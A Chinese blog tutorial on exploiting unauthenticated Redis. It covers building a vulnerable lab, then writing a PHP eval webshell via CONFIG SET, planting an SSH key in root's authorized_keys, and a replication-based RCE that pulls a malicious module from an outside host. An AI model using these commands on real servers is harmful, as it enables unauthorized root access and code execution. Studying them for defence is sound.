zoukankan      html  css  js  c++  java
  • redis未授权访问简单总结

    redis环境搭建


    下载有漏洞的redis版本
    wget http://download.redis.io/releases/redis-3.2.11.tar.gz

    编译文件
    make

    进入src目录,拷贝两个启动文件到/usr/bin/,返回上一级并拷贝redis.conf到etc目录
    cp redis-server /usr/bin/
    cp redis-cli /usr/bin/
    cp redis.conf /etc/

    编辑/etc/redis.conf文件取消本地IP访问绑定,并关闭保护模式,允许远程连接redis服务

    使用redis-server /etc/redis.conf启动redis服务

    攻击机直接下载redis拷贝文件即可

    漏洞利用


    使用namp检测远程主机redis开放情况
    nmap -A -p 6379 --script redis-info 94.191.84.130

    直接尝试登录redis
    redis-cli -h 94.191.84.130
    使用info查看信息

    低权限写文件(需要有增删改查权限)
    设置备份目录
    CONFIG SET dir /tmp
    设置文件名
    CONFIG SET dbfilename webshell.php
    向备份文件中写入一句话
    CONFIG SET webshell " <?php @eval($_POST['c']);?> "
    保存
    save

    利用"公私钥"认证获取root权限,ssh免密登陆目标服务器


    1. 生成公私钥并导出公钥为txt格式
    2. 写入公钥到redis
    3. 连接目标redis服务
    4. 设置备份目录为SSH公钥存放路径/root/.ssh
    5. 设置备份文件名
    6. 保存备份(写入公钥)
    7. 免密ssh登陆

    生成公私钥
    ssh-keygen -t rsa

    导出公钥为txt格式
    (echo -e " "; cat id_rsa.pub; echo -e " ") > 1.txt

    写入redis缓存
    cat 1.txt | redis-cli -h 94.191.84.130 -x set crack

    连接redis查看并设置备份目录
    redis-cli -h 94.191.84.130
    CONFIG GET dir
    CONFIG SET dir /root/.ssh

    设置备份文件名并保存备份文件
    CONFIG set dbfilename authorized_keys
    save

    使用私钥免密登陆ssh
    ssh -i id_rsa root@94.191.84.130

    Redis 基于主从复制的 RCE 利用方式


    1 . 连接远程未授权redis服务器
    2 .设置主服务器为自己服务器
    3.Redis的主机实例通过FULLRESYNC(全量复制)同步文件到从机上
    4.然后在从机上加载so文件
    5.直接执行恶意命令
    先本地开启一个redis>4.0的版本,然后执行
    python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so

  • 相关阅读:
    一,安装python
    maven搭建ssm
    web优化
    java代码优化29个点
    供参考的 php 学习路线
    javascript-文档结构遍历
    jquery中的cookie使用
    jQuery中的Ajax
    lambda和抽象类
    上传jar包到nexus私服
  • 原文地址:https://www.cnblogs.com/AirSky/p/Redis_Unauthorized_Access.html
Copyright © 2011-2022 走看看